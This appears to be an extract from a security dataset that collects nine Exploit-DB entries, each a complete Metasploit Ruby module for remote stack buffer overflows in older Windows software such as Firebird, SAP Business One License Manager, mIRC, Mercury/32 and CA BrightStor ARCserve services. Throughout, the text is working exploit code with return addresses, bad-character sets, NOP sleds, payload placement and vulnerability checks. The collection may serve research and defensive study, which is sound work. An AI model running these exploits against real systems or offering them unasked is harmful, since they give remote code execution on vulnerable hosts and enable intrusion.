QLWD/code_shield huggingface dataset:
标题: Firebird Relational Database - 'SVC_attach()' Remote Buffer Overflow (Metasploit) EDB-ID: 16420 CVE: 2007-5243 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: fb_svc_attach.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::BruteTargets

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'Firebird Relational Database SVC_attach() Buffer Overflow',
   'Description' => %q{
    This module exploits a stack buffer overflow in Borland InterBase
    by sending a specially crafted service attach request.
   },
   'Version' => '$Revision: 9669 $',
   'Author' =>
    [
     'ramon',
     'Adriano Lima <adriano@risesecurity.org>',
    ],
   'Arch'  => ARCH_X86,
   'Platform' => 'win',
   'References' =>
    [
     [ 'CVE', '2007-5243' ],
     [ 'OSVDB', '38605' ],
     [ 'BID', '25917' ],
     [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
    ],
   'Privileged' => true,
   'License' => MSF_LICENSE,
   'Payload' =>
    {
     'Space' => 256,
     'BadChars' => "\x00\x2f\x3a\x40\x5c",
     'StackAdjustment' => -3500,
    },
   'Targets' =>
    [
     [ 'Brute Force', { } ],
     # 0x0040230b pop ebp; pop ebx; ret
     [
      'Firebird WI-V1.5.3.4870 WI-V1.5.4.4910',
      { 'Length' => [ 308 ], 'Ret' => 0x0040230b }
     ],
     # Debug
     [
      'Debug',
      { 'Length' => [ 308 ], 'Ret' => 0xaabbccdd }
     ],
    ],
   'DefaultTarget' => 1,
   'DisclosureDate'  => 'Oct 03 2007'
  ))

  register_options(
   [
    Opt::RPORT(3050)
   ], self.class)
 end

 def exploit_target(target)

  target['Length'].each do |length|

   connect

   # Attach database
   op_attach = 19

   # Create database
   op_create = 20

   # Service attach
   op_service_attach = 82

   remainder = length.remainder(4)
   padding = 0

   if remainder > 0
    padding = (4 - remainder)
   end

   buf = ''

   # Operation/packet type
   buf << [op_service_attach].pack('N')

   # Id
   buf << [0].pack('N')

   # Length
   buf << [length].pack('N')

   # Nop block
   buf << make_nops(length - payload.encoded.length - 13)

   # Payload
   buf << payload.encoded

   # Jump back into the nop block
   buf << "\xe9" + [-260].pack('V')

   # Jump back
   buf << "\xeb" + [-7].pack('c')

   # Random alpha data
   buf << rand_text_alpha(2)

   # Target
   buf << [target.ret].pack('V')

   # Padding
   buf << "\x00" * padding

   # Database parameter block

   # Length
   buf << [1024].pack('N')

   # Random alpha data
   buf << rand_text_alpha(1024)

   sock.put(buf)

   #select(nil,nil,nil,4)

   handler

  end

 end

end URL: https://www.exploit-db.com/exploits/16420
标题: SAP Business One License Manager 2005 - Remote Buffer Overflow (Metasploit) EDB-ID: 16423 CVE: 2009-4988 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-30 漏洞利用脚本: ##
# $Id: sap_2005_license.rb 11180 2010-11-30 20:19:18Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'SAP Business One License Manager 2005 Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the SAP Business One 2005
     License Manager 'NT Naming Service' A and B releases. By sending an
     excessively long string the stack is overwritten enabling arbitrary
     code execution.
   },
   'Author'         => 'Jacopo Cervini',
   'Version'        => '$Revision: 11180 $',
   'References'     =>
    [
     [ 'OSVDB', '56837' ],
     [ 'CVE', '2009-4988' ],
     [ 'BID', '35933' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/9319' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # patrickw tested OK w2k3sp2 20090910
     [ 'Sap Business One 2005 B1 Universal', { 'Ret' => 0x00547b82 } ], # tao2005.dll push esp /ret
    ],
   'Privileged'     => true,
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Aug 1 2009'))

   register_options([Opt::RPORT(30000)], self.class)

 end

 def exploit
  connect

  sploit =  "\x47\x49\x4f\x50\x01\x00\x01\x00" + rand_text_english(1024)
  sploit << [target.ret].pack('V') # EIP for w2k3sp2 - jacopo (1024)
  sploit << [target.ret].pack('V') # EIP for w2k3sp0 - patrickw (1028)
  sploit << make_nops(44) + payload.encoded + make_nops(384)

  print_status("Trying target #{target.name}...")
  sock.put(sploit)
  select(nil,nil,nil,1)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16423
标题: mIRC 6.34 - PRIVMSG Handling Stack Buffer Overflow (Metasploit) EDB-ID: 16422 CVE: 2008-4449 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-22 漏洞利用脚本: ##
# $Id: mirc_privmsg_server.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::TcpServer
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'mIRC <= 6.34 PRIVMSG Handling Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in the mIRC IRC Client v6.34 and earlier.
    By enticing a mIRC user to connect to this server module, an excessively long PRIVMSG
    command can be sent, overwriting the stack. Due to size restrictions, ordinal payloads
    may be necessary. This module is based on the code by SkD.
   },
   'Author'   => [ 'patrick' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9583 $',
   'References'     =>
    [
     [ 'CVE', '2008-4449' ],
     [ 'OSVDB', '48752' ],
     [ 'BID', '31552' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/6666' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 160,
     'BadChars' => "\x00\x07\x0a\x0b\x0c\x0d\x20\x21\x22\x23\x24\x25\x27\x2a\x2c\x2e\x2f\x3a\x3b\x3c\x3e\x3f\x40\x7b\x7c\x7d", # This is mostly a guess plus some RFC info.
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
    # Patrick - Tested against xpsp3 ok 20090715
     [ 'Windows XP SP3',  { 'Rets' => [
         0x7792FBD1, # SETUPAPI.DLL pop eax pop ret
         0x7FFDB5B5,
         0x779D87B7, # SETUPAPI.DLL 0x779D87B7 jmp esp
     ] } ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Oct 02 2008',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptPort.new('SRVPORT', [ true, "The IRC server port to listen on", 6667 ]),
    OptString.new('SRVNAME', [ true, "Welcome to the ... IRC Server Name", "Internet Relay Network" ]),
   ], self.class)
 end

 def on_client_connect(client)
  return if ((p = regenerate_payload(client)) == nil)
  print_status("Client connected! Sending payload...")
  buffer = ":my_irc_server.com 001 wow :Welcome to the #{datastore['SRVNAME']} wow\r\n"
  client.put(buffer)
 end

 def on_client_data(client)
  client.get_once
  select(nil,nil,nil,2)
  sploit = ":" + Rex::Text.rand_text_alphanumeric(307) + [target['Rets'][0]].pack('V') + [target['Rets'][1]].pack('V')
  sploit << make_nops(4) + [target['Rets'][2]].pack('V') + make_nops(4) + "B" * 12
  sploit << Rex::Arch::X86.jmp_short(3) +Rex::Text.rand_text_alphanumeric(2)
  sploit << make_nops(4) + payload.encoded + make_nops(4) + " PRIVMSG  wow : /FINGER wow\r\n"
  client.put(sploit)

  handler(client)
  service.close_client(client)
 end
end URL: https://www.exploit-db.com/exploits/16422
标题: Mercury/32 < 4.01b - PH Server Module Buffer Overflow (Metasploit) EDB-ID: 16419 CVE: 2005-4411 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-15 漏洞利用脚本: ##
# $Id: mercury_phonebook.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Mercury/32 <= v4.01b PH Server Module Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow in
    Mercury/32 <= v4.01b PH Server Module. This issue is
    due to a failure of the application to properly bounds check
    user-supplied data prior to copying it to a fixed size memory buffer.
   },
   'Author'         => 'MC',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9525 $',
   'References'     =>
    [
     [ 'CVE', '2005-4411' ],
     [ 'OSVDB', '22103'],
     [ 'BID', '16396' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00\x20\x0a\x0d",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
     [ 'Windows 2000 Pro English ALL',   { 'Ret' => 0x75022ac4 } ],
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'Dec 19 2005',
   'DefaultTarget' => 0))

  register_options([ Opt::RPORT(105)], self)
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")

  sploit =  rand_text_alphanumeric(224, payload_badchars)
  sploit << payload.encoded + "\xeb\x06" + make_nops(2)
  sploit << [target.ret].pack('V') + [0xe8, -450].pack('CV') + "\r\n"

  sock.put(sploit)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16419
标题: CA BrightStor ARCserve License Service - 'GCR NETWORK' Remote Buffer Overflow (Metasploit) EDB-ID: 16414 CVE: 2005-0581 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-03 漏洞利用脚本: ##
# $Id: license_gcr.rb 10892 2010-11-03 22:09:44Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CA BrightStor ARCserve License Service GCR NETWORK Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup 11.0.
    By sending a specially crafted request to the lic98rmtd.exe service, an attacker
    could overflow the buffer and execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10892 $',
   'References'     =>
    [
     [ 'CVE', '2005-0581' ],
     [ 'OSVDB', '14389' ],
     [ 'BID', '12705' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00\x09\x0a\x0d\x20\x0c\x25\x26\x27\x0b\x2b\x2f\x3a\x3c\x3e\x3f\x40",
     'StackAdjustment' => -3500,
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Platform' => 'win',
   'Targets'  =>
     [
      [ 'Windows 2003 SP0 English',     { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll
      [ 'Windows 2000 SP4 English',     { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll
     ],
   'DisclosureDate' => 'Mar 2 2005',
   'DefaultTarget' => 0))

  register_options([ Opt::RPORT(10202) ], self.class)
 end

 def exploit
  connect

  buff =  rand_text_alpha_upper(256) + [target.ret].pack('V')
  buff << make_nops(12) + payload.encoded

  # NETWORK<x.x.x.x buff x.x.x.x.x> ... worked for me.
  sploit  = "A0 GCR NETWORK<#{buff}>RMTV<1.00><EOM>"

  print_status("Trying target #{target.name}...")

  sock.put(sploit)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16414
标题: CA BrightStor ARCserve for Laptops & Desktops LGServer - Remote Buffer Overflow (Metasploit) (3) EDB-ID: 16411 CVE: 2007-5003 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-03 漏洞利用脚本: ##
# $Id: lgserver_rxrlogin.rb 10892 2010-11-03 22:09:44Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
    for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could
    overflow the buffer and execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10892 $',
   'References'     =>
    [
     [ 'CVE', '2007-5003' ],
     [ 'OSVDB', '41353' ],
     [ 'BID', '24348' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 550,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
     'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
    },
   'Platform' => 'win',
   'Targets'  =>
     [
      [ 'Windows 2003 SP0 English',     { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll
      [ 'Windows 2000 SP4 English',     { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll
     ],
   'DisclosureDate' => 'Jun 6 2007',
   'DefaultTarget' => 0))

  register_options([ Opt::RPORT(1900) ], self.class)
 end

 def check
  connect

  sock.put("0000000019rxrGetServerVersion")
  ver = sock.get_once

  disconnect

  if ( ver =~ /11.1.742/ )
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  buffer =  rand_text_alpha_upper(17420) + [target.ret].pack('V')
  buffer << payload.encoded + rand_text_alpha_upper(300)

  sploit  = "0000018124" # Command Length Field
  sploit << "rxrLogin"   # RPC Command
  sploit <<  "~~"        # Constant Argument Delimiter
  sploit <<  buffer      # Argument

  print_status("Trying target #{target.name}...")
  # One-shot overwrite...
  sock.put(sploit)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16411
标题: CA BrightStor ARCserve for Laptops & Desktops LGServer - Remote Buffer Overflow (Metasploit) (2) EDB-ID: 16409 CVE: 2007-3216 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-03 漏洞利用脚本: ##
# $Id: lgserver_rxsuselicenseini.rb 10892 2010-11-03 22:09:44Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
    for Laptops & Desktops 11.1. By sending a specially crafted request (rxsUseLicenseIni), an
    attacker could overflow the buffer and execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10892 $',
   'References'     =>
    [
     [ 'CVE', '2007-3216' ],
     [ 'OSVDB', '35329' ],
     [ 'BID', '24348' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 700,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'  =>
    [
     [ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ],
     [ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],
    ],
   'DisclosureDate' => 'Jun 6 2007',
   'DefaultTarget' => 0))

  register_options([ Opt::RPORT(1900) ], self.class)
 end

 def check
  connect

  sock.put("0000000019rxrGetServerVersion")
  ver = sock.get_once

  disconnect

  if ( ver =~ /11.1.742/ )
    return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  data  = rand_text_alpha_upper(4108) + [target.ret].pack('V')
  data << payload.encoded + rand_text_alpha_upper(rand(300) + 1)

  sploit  = "0000004820"         # Command Length Field
  sploit << "rxsUseLicenseIni"   # RPC Command
  sploit << "~~"                 # Constant Argument Delimiter
  sploit << data

  print_status("Trying target #{target.name}...")
  # One-shot overwrite...
  sock.put(sploit)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16409
标题: CA BrightStor ARCserve - Message Engine Buffer Overflow (Metasploit) EDB-ID: 16418 CVE: 2007-0169 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: message_engine.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::DCERPC

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CA BrightStor ARCserve Message Engine Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup
    11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow
    the buffer and execute arbitrary code.
   },
   'Author'         => [ 'MC', 'patrick' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2007-0169' ],
     [ 'OSVDB', '31318' ],
     [ 'BID', '22005' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 600,
     'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'  =>
    [
     [ 'BrightStor ARCserve r11.1',  { 'Ret' => 0x23805d10 } ], #p/p/r cheyprod.dll 07/21/2004
     [ 'BrightStor ARCserve r11.5',  { 'Ret' => 0x2380ceb5 } ],
     [ 'BrightStor ARCserve r11.5 SP2', { 'Ret' => 0x2380a47d } ],
    ],
   'DisclosureDate' => 'Jan 11 2007',
   'DefaultTarget' => 1))

  register_options(
   [
    Opt::RPORT(6503)
   ], self.class)
 end

 def exploit
  connect

  handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
  print_status("Binding to #{handle} ...")

  dcerpc_bind(handle)
  print_status("Bound to #{handle} ...")

  filler =  rand_text_english(616) + Rex::Arch::X86.jmp_short(6) + rand_text_english(2) + [target.ret].pack('V')

  sploit =  NDR.string(filler + payload.encoded + "\x00") + NDR.long(0)

  print_status("Trying target #{target.name}...")

   begin
    dcerpc_call(47, sploit)
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
   end

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16418
标题: CA BrightStor ARCserve for Laptops & Desktops LGServer - 'rxsSetDataGrowthScheduleAndFilter' Remote Buffer Overflow (Metasploit) EDB-ID: 16415 CVE: 2007-3216 类型: REMOTE 平台: WINDOWS 发布日期: 2011-03-10 漏洞利用脚本: ##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'CA BrightStor ARCserve for Laptops & Desktops LGServer (rxsSetDataGrowthScheduleAndFilter) Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
    for Laptops & Desktops 11.1. By sending a specially crafted request (rxsSetDataGrowthScheduleAndFilter),
    an attacker could overflow the buffer and execute arbitrary code.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10892 $',
   'References'     =>
    [
     [ 'CVE', '2007-3216' ],
     [ 'OSVDB', '35329' ],
     [ 'BID', '24348' ],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 700,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'  =>
    [
     [ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],
    ],
   'DisclosureDate' => 'Jun 6 2007',
   'DefaultTarget' => 0))

  register_options([ Opt::RPORT(1900) ], self.class)
 end

 def check

  connect

  sock.put("0000000019rxrGetServerVersion")
  ver = sock.get_once

  disconnect

  if ( ver =~ /11.1.742/ )
    return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe

 end

 def exploit

  connect

  data = rand_text_alpha_upper(20080) + [target.ret].pack('V')
  data << payload.encoded + rand_text_alpha_upper(25000 - 20084 - payload.encoded.length)

  sploit  = "0000025000"    # Command Length Field
  sploit << "rxsSetDataGrowthScheduleAndFilter" # RPC Command
  sploit << "~~"     # Constant Argument Delimiter
  sploit << data

  print_status("Trying target #{target.name}...")
  sock.put(sploit)

  handler
  disconnect

 end

end URL: https://www.exploit-db.com/exploits/16415